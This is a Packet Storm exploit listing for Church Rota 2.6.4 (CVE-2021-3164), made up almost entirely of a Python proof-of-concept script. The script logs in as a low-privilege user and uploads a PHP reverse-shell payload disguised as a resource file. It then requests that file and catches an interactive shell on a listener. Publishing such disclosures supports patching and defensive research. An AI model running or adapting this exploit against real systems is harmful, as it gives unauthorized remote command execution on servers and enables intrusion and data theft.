Lucene search

K
packetstormRob McCarthyPACKETSTORM:161029
HistoryJan 20, 2021 - 12:00 a.m.

Church Rota 2.6.4 Shell Upload

2021-01-2000:00:00
Rob McCarthy
packetstormsecurity.com
85
`import requests  
from pwn import listen  
  
############################################################################################################  
# CVE-2021-3164  
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. #  
# The user does not need to have file upload permission in order to upload and execute an arbitrary file. #  
# The application is written primarily with PHP so we use PHP in our PoC #  
############################################################################################################  
  
# credentials of the low privilege user  
USERNAME='slixperi'  
PASSWORD='slixperi'  
  
LISTENER_IP = '127.0.0.1'  
LISTENER_PORT = '4444'  
TARGET_IP = '127.0.0.1'  
TARGET_PORT = '8081'  
  
# set the credentials for login POST  
credentials = {"username":USERNAME,"password":PASSWORD}  
# create a session to preserve session state  
sesh = requests.session()  
# login as our low-privilege user (normally only admins can upload files)  
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)  
  
# define the payload  
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"  
  
# file upload  
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})  
files = {'resourcefile': ("shell.php", payload)}  
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)  
  
l = listen(LISTENER_PORT)  
  
# execute the file  
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")  
  
l.interactive()  
`
Related for PACKETSTORM:161029